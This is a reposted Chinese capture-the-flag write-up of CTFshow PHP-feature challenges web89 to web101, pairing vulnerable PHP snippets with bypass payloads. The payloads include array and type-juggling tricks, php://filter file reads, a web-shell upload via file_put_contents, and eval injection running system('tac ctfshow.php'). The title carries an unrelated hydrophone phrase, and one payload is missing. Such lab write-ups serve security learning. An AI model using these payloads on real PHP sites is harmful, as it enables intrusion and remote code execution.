热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

CTFshow-php特性水听器的主要特点

本文主要介绍关于php,web安全,安全,网络安全,学习的知识点,对CTFshow-php特性和水听器的主要特点有兴趣的朋友可以看下由【YAy17】投稿的技术文章,希望该技术和经验能帮到你解决你所遇的

本文主要介绍关于php,web安全,安全,网络安全,学习的知识点,对CTFshow-php特性和水听器的主要特点有兴趣的朋友可以看下由【YAy17】投稿的技术文章,希望该技术和经验能帮到你解决你所遇的ctfshow相关技术问题。

水听器的主要特点

目录

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

web99

web100

web101


web89
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

首先来了解一下intval函数。

intval()函数可以获取变量的整数值,常被用来进行数据类型转换,将字符串类型的变量转换为整数类型

preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。

preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。

故payload:?num[]=1

web90
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){        //强类型判断 不仅判断值,还会判断类型
        die("no no no!");
    }
    if(intval($num,0)===4476){    //从num的第一个位置开始转换成整形数据
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

对于intval函数,当我们输入的num的值为123a的时候,经过intval函数的转化,就变成了123

所以当我们让num的值为4476a的时候,经过intval函数的转化,num的值就变成了4476。

web91
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
//表示匹配以php开头并且以php结尾,多行匹配
    if(preg_match('/^php$/i', $a)){
//单行匹配以php开头,同时也以php结尾
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

其中正则匹配中的i表示:不区分大小写的意思,这里就是将匹配的目标设置为不区分大小写,即php和PHP是没有区别的。

m:表示多行匹配

使用边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1

^:匹配输入字符串的开始位置。$:匹配输入字符串的结束位置。

在默认的情况下,一个字符串无论是否换行只有一个开始^和结束$。如果增加了多行匹配的话(也就是说加上了m),那么每行都有一个开始^和结束$。

payload:?num=换行+php(%0aphp),所以经过第一个正则匹配的时候,由于是多行匹配,我们的payload中的第二行就是以php开始以php结束的。经过第二个正则匹配的时候,因为payload是%0aphp,便不符合以php开始以php结束。执行else。

web92
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){    //弱类型检验,只检验值
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以使用八进制或者是十六进制进行转化。

payload:?num=0x117c

还可以使用科学技术法来绕过==4476,科学技术法用e来表示,比如4476e12,就表示4476*10^12。从而绕过了==4476,之后再intval函数的时候,碰到字母e就不再继续转换,得到了4476

web93
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){    //不区分大小写 过滤字母
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

在上面的基础上过滤了字母,所以可以采用八进制或者是小数的方法绕过

payload:?num=4476.3或者是?num=010574(八进制)

web94
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){    //强类型判断
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){    //正则过滤掉字符
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

在上面题目的基础上增加了strpos函数。strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。

所以strpos函数的意思就是查找0在$num中的位置是否是0(此处就是过滤了八进制的方法),我们就只能使用小数的方法去绕过。且小数位还要存在一个0,假设我们的payload为4476.3,那么在经过strpos函数的时候,没有找到0,那么就会返回FALSE,在经过前面的!,就变成了TRUE。所以我们需要在小数的某一个位置带上0,绕过strpos函数。

payload:?num=4476.30

web95
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

在上一个题目的基础上增加了对点的过滤,同时需要满足:

$num的值不能是4476

不能含有大小写字母

num中必须包含着0,但是开头不能是0

可以使用换行或者空格或者+号,再加上八进制来绕过。

payload:
    ?num= 010574 //注意有空格
    ?num=%20010574
    ?num=%0a010574
    ?num=+010574
    ?num=%09010574
    ?num=%2b010574
web96
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){    //判断值是否相等
        die("no no no");
    }else{
        highlight_file($_GET['u']);    //高亮显示
    }
}

首先可以通过报错,得到当前的路径。

可以使用绝对路径去访问:/var/www/html/flag.php

还可以使用php:filter伪协议来读取文件中的内容,当然也可以./,./的意思是当前路径的意思

payload:
    ?u=./flag.php
    ?u=/var/www/html/flag.php
    ?u=php://filter/read=convert.base64-encode/resource=flag.php
web97
if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])        
    if (md5($_POST['a']) === md5($_POST['b']))
        echo $flag;
    else
        print 'Wrong.';
}

经过POST方式传参a和b,传入的两个参数值不可以相等,但是经过md5加密之后是强相等。

传入数组,由于md5函数是无法处理函数的,所以当我们传入的值是数组的时候,会返回NULL,经过md5加密,得到了NULL,在经过强类型的判断,返回了TRUE。

payload:a[]=1&b[]=2

web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

涉及到三目运算符,以及变量覆盖的知识。

表达式1?表达式2:表达式3(表示:表达式1存在,那么就取表达式2的值,否则取表达式3的值)

&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容

对于第二行的代码而言,意思是:如果有GET传参的话,那么就将$_POST传入的参数赋值给$_GET变量,换句话说就是POST传入的参数和GET传入的参数是相同的。之后我们就可以通过POST来覆盖掉GET的值。

由于我们的GET传参是必需的,所以是不会取flag值得,所以中间的两句代码是没有任何意义的,最后的一句highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);代表着如果存在GET方式传参,HTTP_FLAG的值为flag,那么就highlight_file(flag),否则的话,就highlight_file(__FILE__)。

payload:

web99
$allow = array();
for ($i=36; $i <0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

array_push函数:用于将一个或多个元素插入/推入数组(入栈操作)

in_array ():

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack , [bool $strict = FALSE ] )

在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。

但是如果省略了第三个参数,则存在着弱类型比较(类似==)

file_put_contents函数:将参数2的内容写入到参数1中,这里就存在着任意文件上传的漏洞。

由于每次rand都是从1开始的,因此array数组中存在1的概率是非常大的,之后in_array($_GET['n'],$array),当传入的参数n的值为1.php时,假设array中压入了1。由于省略了第三个参数,存在弱类型比较,所以说1.php在比较的时候会强制转换为1,刚好array中存在着1.满足if条件,执行file_put_contents。

故payload:?n=1.php         POST传参为cOntent= (多次尝试,让1压入栈中)

便将一句话木马上传到1.php中,直接RCE。

web100
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

通过GET的方式接收v1、v2、v3的值。

这里还考察了=和and的优先级,&&>||>=>and>or,所以在这里就是先将is_numeric($v1)的值赋值给变量v0。之后再与后面的进行运算。

is_numeric()函数:判断变量是否是一个数字或者是数字字符串。

之后对v2和v3进行正则匹配,v2中不可以含有分号,但是v3中必须要有分号。

这里还涉及到反射类的知识点。参考文章:PHP: ReflectionClass - Manual

方法一:

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);只要使v1的值为1,就可以使得v0的值为true,从而进入if,之后需要满足的是v2不能有分号,v3必须有分号

payload:?v1=1&v2=system('tac ctfshow.php')&v3=;

方法二:

使用反射类直接输出class ctfshow的信息

payload:?v1=1&v2=echo new ReflectionClass&v3=;

看到大佬的博客中关于反射类的学习的一部分的代码段:


   ";
}
}
$a=new ReflectionClass('A');
 
 
var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}
 
var_dump($a->getName());    获取类名
输出
string(1) "A"
 
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}
 
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

CTFSHOW-PHP特性__Monica_的博客-CSDN博客_ctfshowphp特性

方法三:

因为这个flag在ctfshow这个类中,所以我们可以构造出var_dump($ctfshow);

payload:?v1=1&v2=var_dump($ctfshow)&v3=;

web101
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

在上一关的基础上,对v2和v3进行了过滤,所以我们的v2就不可以在写成system('tac ctfshow.php'),因为过滤了点号和单引号。

只能使用反射类来输出class ctfshow的信息。

payload:?v1=1&v2=echo new ReflectionClass&v3;

本文《CTFshow-php特性》版权归YAy17所有,引用CTFshow-php特性需遵循CC 4.0 BY-SA版权协议。


推荐阅读
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 单点登录原理及实现方案详解
    本文详细介绍了单点登录的原理及实现方案,其中包括共享Session的方式,以及基于Redis的Session共享方案。同时,还分享了作者在应用环境中所遇到的问题和经验,希望对读者有所帮助。 ... [详细]
  • 本文讨论了在openwrt-17.01版本中,mt7628设备上初始化启动时eth0的mac地址总是随机生成的问题。每次随机生成的eth0的mac地址都会写到/sys/class/net/eth0/address目录下,而openwrt-17.01原版的SDK会根据随机生成的eth0的mac地址再生成eth0.1、eth0.2等,生成后的mac地址会保存在/etc/config/network下。 ... [详细]
  • 本文讨论了在手机移动端如何使用HTML5和JavaScript实现视频上传并压缩视频质量,或者降低手机摄像头拍摄质量的问题。作者指出HTML5和JavaScript无法直接压缩视频,只能通过将视频传送到服务器端由后端进行压缩。对于控制相机拍摄质量,只有使用JAVA编写Android客户端才能实现压缩。此外,作者还解释了在交作业时使用zip格式压缩包导致CSS文件和图片音乐丢失的原因,并提供了解决方法。最后,作者还介绍了一个用于处理图片的类,可以实现图片剪裁处理和生成缩略图的功能。 ... [详细]
  • 本文介绍了使用cacti监控mssql 2005运行资源情况的操作步骤,包括安装必要的工具和驱动,测试mssql的连接,配置监控脚本等。通过php连接mssql来获取SQL 2005性能计算器的值,实现对mssql的监控。详细的操作步骤和代码请参考附件。 ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • GreenDAO快速入门
    前言之前在自己做项目的时候,用到了GreenDAO数据库,其实对于数据库辅助工具库从OrmLite,到litePal再到GreenDAO,总是在不停的切换,但是没有真正去了解他们的 ... [详细]
  • Android实战——jsoup实现网络爬虫,糗事百科项目的起步
    本文介绍了Android实战中使用jsoup实现网络爬虫的方法,以糗事百科项目为例。对于初学者来说,数据源的缺乏是做项目的最大烦恼之一。本文讲述了如何使用网络爬虫获取数据,并以糗事百科作为练手项目。同时,提到了使用jsoup需要结合前端基础知识,以及如果学过JS的话可以更轻松地使用该框架。 ... [详细]
  • 单页面应用 VS 多页面应用的区别和适用场景
    本文主要介绍了单页面应用(SPA)和多页面应用(MPA)的区别和适用场景。单页面应用只有一个主页面,所有内容都包含在主页面中,页面切换快但需要做相关的调优;多页面应用有多个独立的页面,每个页面都要加载相关资源,页面切换慢但适用于对SEO要求较高的应用。文章还提到了两者在资源加载、过渡动画、路由模式和数据传递方面的差异。 ... [详细]
author-avatar
书友72177273
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有